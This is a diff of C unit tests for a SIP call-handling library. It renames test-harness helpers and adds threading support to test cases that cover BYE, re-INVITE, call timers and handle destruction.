@@ -1779,12 +2266,12 @@
 
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   fail_if(!invite);
-  s2_respond_to(invite, NULL, SIP_491_REQUEST_PENDING, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
-  fail_unless(s2_check_event(nua_r_invite, 491));
+  s2_sip_respond_to(invite, NULL, SIP_491_REQUEST_PENDING, TAG_END());
+  s2_sip_free_message(invite);
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+  fail_unless_event(nua_r_invite, 491);
   /* Return to previous state */
   fail_unless(s2_check_callstate(nua_callstate_ready));
 
@@ -1793,10 +2280,10 @@
 END_TEST
 
 
-TCase *invite_error_tcase(void)
+TCase *invite_error_tcase(int threading)
 {
   TCase *tc = tcase_create("3 - Call Errors");
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  add_call_fixtures(tc, threading);
   {
     tcase_add_test(tc, call_3_1_1);
     tcase_add_test(tc, call_3_1_2);
@@ -1817,7 +2304,7 @@
   nua_handle_t *nh;
   struct message *bye, *r481;
 
-  s2_case("4.1.1", "Re-INVITE while terminating",
+  S2_CASE("4.1.1", "Re-INVITE while terminating",
 	  "NUA sends BYE, "
 	  "BYE is challenged, "
 	  "and NUA is re-INVITEd at the same time.");
@@ -1828,24 +2315,24 @@
 
   nua_bye(nh, TAG_END());
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_407_PROXY_AUTH_REQUIRED,
+  s2_sip_respond_to(bye, dialog, SIP_407_PROXY_AUTH_REQUIRED,
 		SIPTAG_PROXY_AUTHENTICATE_STR(s2_auth_digest_str),
 		TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 407));
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 407);
 
   soa_generate_offer(soa, 1, NULL);
 
   request_with_sdp(dialog, SIP_METHOD_INVITE, NULL, TAG_END());
 
   do {
-    r481 = s2_wait_for_response(0, SIP_METHOD_INVITE);
+    r481 = s2_sip_wait_for_response(0, SIP_METHOD_INVITE);
   }
   while (r481->sip->sip_status->st_status < 200);
 
-  s2_update_dialog(dialog, r481); /* send ACK */
+  s2_sip_update_dialog(dialog, r481); /* send ACK */
 
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
@@ -1859,7 +2346,7 @@
   nua_handle_t *nh;
   struct message *bye, *r481;
 
-  s2_case("4.1.2", "Re-INVITE while terminating",
+  S2_CASE("4.1.2", "Re-INVITE while terminating",
 	  "NUA sends BYE, and gets re-INVITEd at same time");
 
   nh = invite_to_nua(TAG_END());
@@ -1867,23 +2354,23 @@
   s2_flush_events();
 
   nua_bye(nh, TAG_END());
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
 
   request_with_sdp(dialog, SIP_METHOD_INVITE, NULL, TAG_END());
   do {
-    r481 = s2_wait_for_response(0, SIP_METHOD_INVITE);
+    r481 = s2_sip_wait_for_response(0, SIP_METHOD_INVITE);
   }
   while (r481->sip->sip_status->st_status < 200);
 
-  s2_update_dialog(dialog, r481); /* send ACK */
+  s2_sip_update_dialog(dialog, r481); /* send ACK */
 
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
-  s2_respond_to(bye, dialog, SIP_200_OK,
+  s2_sip_respond_to(bye, dialog, SIP_200_OK,
 		TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
 
   nua_handle_destroy(nh);
 }
@@ -1895,7 +2382,7 @@
   struct message *bye;
   struct event *i_bye;
 
-  s2_case("4.1.3", "BYE while terminating",
+  S2_CASE("4.1.3", "BYE while terminating",
 	  "NUA sends BYE and receives BYE");
 
   nh = invite_to_nua(TAG_END());
@@ -1903,27 +2390,27 @@
   mark_point();
 
   nua_set_hparams(nh, NUTAG_APPL_METHOD("BYE"), TAG_END());
-  fail_unless(s2_check_event(nua_r_set_params, 200));
+  fail_unless_event(nua_r_set_params, 200);
 
   s2_flush_events();
 
   nua_bye(nh, TAG_END());
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
 
-  s2_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
   i_bye = s2_wait_for_event(nua_i_bye, 100);
   fail_if(!i_bye);
 
   nua_respond(nh, 200, "OKOK", NUTAG_WITH(i_bye->data->e_msg), TAG_END());
 
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
-  fail_unless(s2_check_response(200, SIP_METHOD_BYE));
+  fail_unless(s2_sip_check_response(200, SIP_METHOD_BYE));
 
   nua_handle_destroy(nh);
 }
@@ -1936,33 +2423,33 @@
   struct message *bye;
   struct event *i_bye;
 
-  s2_case("4.1.4", "Send BYE after BYE has been received",
+  S2_CASE("4.1.4", "Send BYE after BYE has been received",
 	  "NUA receives BYE, tries to send BYE at same time");
 
   nh = invite_to_nua(TAG_END());
 
   mark_point();
   nua_set_hparams(nh, NUTAG_APPL_METHOD("BYE"), TAG_END());
-  fail_unless(s2_check_event(nua_r_set_params, 200));
+  fail_unless_event(nua_r_set_params, 200);
   s2_flush_events();
 
-  s2_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
   i_bye = s2_wait_for_event(nua_i_bye, 100);
   fail_if(!i_bye);
 
   nua_bye(nh, TAG_END());
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
 
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
   nua_respond(nh, 200, "OKOK", NUTAG_WITH(i_bye->data->e_msg), TAG_END());
-  fail_unless(s2_check_response(200, SIP_METHOD_BYE));
+  fail_unless(s2_sip_check_response(200, SIP_METHOD_BYE));
 
   nua_handle_destroy(nh);
 }
@@ -1975,33 +2462,33 @@
   struct message *bye;
   struct event *i_bye;
 
-  s2_case("4.1.5", "Send BYE after BYE has been received",
+  S2_CASE("4.1.5", "Send BYE after BYE has been received",
 	  "NUA receives BYE, tries to send BYE at same time");
 
   nh = invite_to_nua(TAG_END());
 
   mark_point();
   nua_set_hparams(nh, NUTAG_APPL_METHOD("BYE"), TAG_END());
-  fail_unless(s2_check_event(nua_r_set_params, 200));
+  fail_unless_event(nua_r_set_params, 200);
   s2_flush_events();
 
-  s2_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
   i_bye = s2_wait_for_event(nua_i_bye, 100);
   fail_if(!i_bye);
 
   nua_bye(nh, TAG_END());
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
 
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
   nua_handle_destroy(nh);
-  fail_unless(s2_check_response(500, SIP_METHOD_BYE));
+  fail_unless(s2_sip_check_response(200, SIP_METHOD_BYE));
 }
 END_TEST
 
@@ -2011,33 +2498,33 @@
   nua_handle_t *nh;
   struct message *bye, *r486;
 
-  s2_case("4.1.6", "Send BYE after INVITE has been received",
+  S2_CASE("4.1.6", "Send BYE after INVITE has been received",
 	  "NUA receives INVITE, sends BYE at same time");
 
   nh = invite_to_nua(TAG_END());
 
   nua_set_hparams(nh, NUTAG_AUTOANSWER(0), TAG_END());
-  fail_unless(s2_check_event(nua_r_set_params, 200));
+  fail_unless_event(nua_r_set_params, 200);
 
   s2_flush_events();
 
   request_with_sdp(dialog, SIP_METHOD_INVITE, NULL, TAG_END());
-  fail_unless(s2_check_response(100, SIP_METHOD_INVITE));
+  fail_unless(s2_sip_check_response(100, SIP_METHOD_INVITE));
   nua_bye(nh, TAG_END());
-  fail_unless(s2_check_event(nua_i_invite, 100));
+  fail_unless_event(nua_i_invite, 100);
   fail_unless(s2_check_callstate(nua_callstate_received));
 
   do {
-    r486 = s2_wait_for_response(0, SIP_METHOD_INVITE);
+    r486 = s2_sip_wait_for_response(0, SIP_METHOD_INVITE);
   }
   while (r486->sip->sip_status->st_status < 200);
-  s2_update_dialog(dialog, r486); /* send ACK */
+  s2_sip_update_dialog(dialog, r486); /* send ACK */
   fail_unless(r486->sip->sip_status->st_status == 486);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
   nua_handle_destroy(nh);
 }
@@ -2049,32 +2536,32 @@
   nua_handle_t *nh;
   struct message *bye, *r486;
 
-  s2_case("4.1.7", "Send BYE after INVITE has been received",
+  S2_CASE("4.1.7", "Send BYE after INVITE has been received",
 	  "NUA receives INVITE, sends BYE at same time");
 
   nh = invite_to_nua(TAG_END());
 
   nua_set_hparams(nh, NUTAG_AUTOANSWER(0), TAG_END());
-  fail_unless(s2_check_event(nua_r_set_params, 200));
+  fail_unless_event(nua_r_set_params, 200);
 
   s2_flush_events();
 
   request_with_sdp(dialog, SIP_METHOD_INVITE, NULL, TAG_END());
-  fail_unless(s2_check_response(100, SIP_METHOD_INVITE));
+  fail_unless(s2_sip_check_response(100, SIP_METHOD_INVITE));
   nua_bye(nh, TAG_END());
-  fail_unless(s2_check_event(nua_i_invite, 100));
+  fail_unless_event(nua_i_invite, 100);
   fail_unless(s2_check_callstate(nua_callstate_received));
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
   do {
-    r486 = s2_wait_for_response(0, SIP_METHOD_INVITE);
+    r486 = s2_sip_wait_for_response(0, SIP_METHOD_INVITE);
   }
   while (r486->sip->sip_status->st_status < 200);
-  s2_update_dialog(dialog, r486); /* send ACK */
+  s2_sip_update_dialog(dialog, r486); /* send ACK */
   fail_unless(r486->sip->sip_status->st_status == 486);
 
   nua_handle_destroy(nh);
@@ -2086,34 +2573,34 @@
   nua_handle_t *nh;
   struct message *bye, *r486;
 
-  s2_case("4.1.8", "BYE followed by response to INVITE",
+  S2_CASE("4.1.8", "BYE followed by response to INVITE",
 	  "NUA receives INVITE, sends BYE at same time");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite_by_nua(nh, NUTAG_AUTOANSWER(0), TAG_END());
 
   s2_flush_events();
 
   request_with_sdp(dialog, SIP_METHOD_INVITE, NULL, TAG_END());
-  fail_unless(s2_check_response(100, SIP_METHOD_INVITE));
+  fail_unless(s2_sip_check_response(100, SIP_METHOD_INVITE));
   nua_bye(nh, TAG_END());
-  fail_unless(s2_check_event(nua_i_invite, 100));
+  fail_unless_event(nua_i_invite, 100);
   fail_unless(s2_check_callstate(nua_callstate_received));
 
   nua_respond(nh, SIP_486_BUSY_HERE, TAG_END());
 
   do {
-    r486 = s2_wait_for_response(0, SIP_METHOD_INVITE);
+    r486 = s2_sip_wait_for_response(0, SIP_METHOD_INVITE);
   }
   while (r486->sip->sip_status->st_status < 200);
-  s2_update_dialog(dialog, r486); /* send ACK */
+  s2_sip_update_dialog(dialog, r486); /* send ACK */
   fail_unless(r486->sip->sip_status->st_status == 486);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
   nua_handle_destroy(nh);
 }
@@ -2126,7 +2613,7 @@
   struct message *bye;
   struct event *i_bye;
 
-  s2_case("4.1.6", "Send BYE, receive BYE, destroy",
+  S2_CASE("4.1.6", "Send BYE, receive BYE, destroy",
 	  "NUA sends BYE, receives BYE and handle gets destroyed");
 
   nh = invite_to_nua(TAG_END());
@@ -2136,29 +2623,29 @@
   s2_flush_events();
 
   nua_bye(nh, TAG_END());
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
 
-  s2_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
   i_bye = s2_wait_for_event(nua_i_bye, 200);
   fail_if(!i_bye);
   s2_free_event(i_bye), i_bye = NULL;
   fail_unless(s2_check_callstate(nua_callstate_terminated));
-  fail_unless(s2_check_response(200, SIP_METHOD_BYE));
+  fail_unless(s2_sip_check_response(200, SIP_METHOD_BYE));
   nua_handle_destroy(nh);
   mark_point();
 
-  su_root_step(s2->root, 10);
-  su_root_step(s2->root, 10);
-  su_root_step(s2->root, 10);
+  su_root_step(s2base->root, 10);
+  su_root_step(s2base->root, 10);
+  su_root_step(s2base->root, 10);
 
   mark_point();
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
   mark_point();
   while (su_home_check_alloc((su_home_t *)nua, (void *)nh)) {
-    su_root_step(s2->root, 10);
+    su_root_step(s2base->root, 10);
   }
 }
 END_TEST
@@ -2170,7 +2657,7 @@
   struct message *invite, *bye;
   struct event *i_bye;
 
-  s2_case("4.1.6", "Send auto-BYE upon receiving 501, receive BYE, destroy",
+  S2_CASE("4.1.6", "Send auto-BYE upon receiving 501, receive BYE, destroy",
 	  "NUA sends BYE, receives BYE and handle gets destroyed");
 
   nh = invite_to_nua(TAG_END());
@@ -2180,37 +2667,37 @@
   s2_flush_events();
 
   nua_invite(nh, TAG_END());
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   fail_if(!invite);
-  s2_respond_to(invite, dialog, SIP_501_NOT_IMPLEMENTED, TAG_END());
-  s2_free_message(invite);
+  s2_sip_respond_to(invite, dialog, SIP_501_NOT_IMPLEMENTED, TAG_END());
+  s2_sip_free_message(invite);
 
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
 
   fail_unless(s2_check_callstate(nua_callstate_calling));
-  fail_unless(s2_check_event(nua_r_invite, 501));
+  fail_unless_event(nua_r_invite, 501);
   fail_unless(s2_check_callstate(nua_callstate_terminating));
 
-  s2_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
   i_bye = s2_wait_for_event(nua_i_bye, 200);
   fail_if(!i_bye);
   s2_free_event(i_bye), i_bye = NULL;
   fail_unless(s2_check_callstate(nua_callstate_terminated));
-  fail_unless(s2_check_response(200, SIP_METHOD_BYE));
+  fail_unless(s2_sip_check_response(200, SIP_METHOD_BYE));
   nua_handle_destroy(nh);
 
-  su_root_step(s2->root, 10);
-  su_root_step(s2->root, 10);
-  su_root_step(s2->root, 10);
+  su_root_step(s2base->root, 10);
+  su_root_step(s2base->root, 10);
+  su_root_step(s2base->root, 10);
 
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
   while (su_home_check_alloc((su_home_t *)nua, (void *)nh)) {
-    su_root_step(s2->root, 10);
+    su_root_step(s2base->root, 10);
   }
 }
 END_TEST
@@ -2221,32 +2708,32 @@
   struct message *invite, *ack;
   struct event *i_bye;
 
-  s2_case("4.1.11", "Receive BYE in completing state",
+  S2_CASE("4.1.11", "Receive BYE in completing state",
 	  "NUA sends INVITE, receives 200, receives BYE.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(nh, NUTAG_AUTOACK(0), TAG_END());
   process_offer(invite);
-  s2_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  s2_sip_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_completing));
 
-  s2_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
+  s2_sip_request_to(dialog, SIP_METHOD_BYE, NULL, TAG_END());
   i_bye = s2_wait_for_event(nua_i_bye, 200);
   fail_if(!i_bye);
   s2_free_event(i_bye), i_bye = NULL;
   fail_unless(s2_check_callstate(nua_callstate_terminated));
-  fail_unless(s2_check_response(200, SIP_METHOD_BYE));
+  fail_unless(s2_sip_check_response(200, SIP_METHOD_BYE));
 
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_if(!ack);
-  s2_free_message(ack);
+  s2_sip_free_message(ack);
 
   nua_handle_destroy(nh);
 }
@@ -2257,7 +2744,7 @@
   nua_handle_t *nh;
   struct message *bye;
 
-  s2_case("4.2.1", "BYE in progress while call timer expires",
+  S2_CASE("4.2.1", "BYE in progress while call timer expires",
 	  "NUA receives INVITE, "
 	  "activates call timers, "
 	  "sends BYE, BYE challenged, "
@@ -2268,27 +2755,27 @@
     SIPTAG_REQUIRE_STR("timer"),
     TAG_END());
 
-  s2_fast_forward(300);
-  invite_timer_round(nh, "300");
+  s2_nua_fast_forward(300, s2base->root);
+  invite_timer_round(nh, "300", NULL);
 
   nua_bye(nh, TAG_END());
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_407_PROXY_AUTH_REQUIRED,
+  s2_sip_respond_to(bye, dialog, SIP_407_PROXY_AUTH_REQUIRED,
 		SIPTAG_PROXY_AUTHENTICATE_STR(s2_auth_digest_str),
 		TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 407));
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 407);
 
-  s2_fast_forward(300);
+  s2_nua_fast_forward(300, s2base->root);
 
   nua_authenticate(nh, NUTAG_AUTH("Digest:\"s2test\":abc:abc"), TAG_END());
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
   fail_if(s2->events);
 
@@ -2301,7 +2788,7 @@
   nua_handle_t *nh;
   struct message *bye;
 
-  s2_case("4.2.2", "BYE in progress while call timer expires",
+  S2_CASE("4.2.2", "BYE in progress while call timer expires",
 	  "NUA receives INVITE, "
 	  "activates call timers, "
 	  "sends BYE, BYE challenged, "
@@ -2312,29 +2799,29 @@
     SIPTAG_REQUIRE_STR("timer"),
     TAG_END());
 
-  s2_fast_forward(300);
-  invite_timer_round(nh, "300");
+  s2_nua_fast_forward(300, s2base->root);
+  invite_timer_round(nh, "300", NULL);
 
-  s2_fast_forward(300);
+  s2_nua_fast_forward(140, s2base->root);
 
   nua_bye(nh, TAG_END());
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_407_PROXY_AUTH_REQUIRED,
+  s2_sip_respond_to(bye, dialog, SIP_407_PROXY_AUTH_REQUIRED,
 		SIPTAG_PROXY_AUTHENTICATE_STR(s2_auth_digest_str),
 		TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 407));
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 407);
 
-  s2_fast_forward(300);
+  s2_nua_fast_forward(160, s2base->root);
 
   nua_authenticate(nh, NUTAG_AUTH(s2_auth_credentials), TAG_END());
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
   fail_if(s2->events);
 
@@ -2342,10 +2829,10 @@
 }
 END_TEST
 
-TCase *termination_tcase(void)
+TCase *termination_tcase(int threading)
 {
   TCase *tc = tcase_create("4 - Call Termination");
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  add_call_fixtures(tc, threading);
   {
     tcase_add_test(tc, bye_4_1_1);
     tcase_add_test(tc, bye_4_1_2);
@@ -2372,25 +2859,25 @@
   nua_handle_t *nh;
   struct message *invite, *cancel;
 
-  s2_case("4.3.1", "Destroy handle after INVITE sent",
+  S2_CASE("4.3.1", "Destroy handle after INVITE sent",
 	  "NUA sends INVITE, handle gets destroyed.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(nh, TAG_END());
   process_offer(invite);
 
   nua_handle_destroy(nh);
 
-  s2_respond_to(invite, dialog, SIP_100_TRYING, TAG_END());
+  s2_sip_respond_to(invite, dialog, SIP_100_TRYING, TAG_END());
 
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
-  s2_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
-  s2_free_message(invite);
+  s2_sip_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
+  s2_sip_free_message(invite);
 
-  s2_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(cancel);
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(cancel);
 }
 END_TEST
 
@@ -2400,26 +2887,26 @@
   nua_handle_t *nh;
   struct message *invite, *cancel;
 
-  s2_case("4.3.2", "Destroy handle in calling state",
+  S2_CASE("4.3.2", "Destroy handle in calling state",
 	  "NUA sends INVITE, receives 180, handle gets destroyed.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(nh, TAG_END());
   process_offer(invite);
-  s2_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  s2_sip_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   nua_handle_destroy(nh);
 
-  cancel = s2_wait_for_request(SIP_METHOD_CANCEL);
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
   fail_if(!cancel);
-  s2_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
-  s2_free_message(invite);
+  s2_sip_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
+  s2_sip_free_message(invite);
 
-  s2_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(cancel);
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(cancel);
 }
 END_TEST
 
@@ -2428,33 +2915,33 @@
   nua_handle_t *nh;
   struct message *invite, *ack, *bye;
 
-  s2_case("4.3.3", "Destroy handle in completing state",
+  S2_CASE("4.3.3", "Destroy handle in completing state",
 	  "NUA sends INVITE, receives 200, handle gets destroyed.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(nh, NUTAG_AUTOACK(0), TAG_END());
   process_offer(invite);
-  s2_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  s2_sip_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_completing));
 
   nua_handle_destroy(nh);
 
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_if(!ack);
-  s2_free_message(ack);
+  s2_sip_free_message(ack);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
-  s2_free_message(invite);
+  s2_sip_free_message(invite);
 }
 END_TEST
 
@@ -2464,36 +2951,36 @@
   nua_handle_t *nh;
   struct message *invite, *ack, *bye;
 
-  s2_case("4.3.3", "Destroy handle in ready state ",
+  S2_CASE("4.3.3", "Destroy handle in ready state ",
 	  "NUA sends INVITE, receives 200, handle gets destroyed.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(nh, NUTAG_AUTOACK(0), TAG_END());
   process_offer(invite);
-  s2_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 180));
+  s2_sip_respond_to(invite, dialog, SIP_180_RINGING, TAG_END());
+  fail_unless_event(nua_r_invite, 180);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_completing));
 
   nua_ack(nh, TAG_END());
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_if(!ack);
-  s2_free_message(ack);
+  s2_sip_free_message(ack);
 
   fail_unless(s2_check_callstate(nua_callstate_ready));
 
   nua_handle_destroy(nh);
 
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
 
-  s2_free_message(invite);
+  s2_sip_free_message(invite);
 }
 END_TEST
 
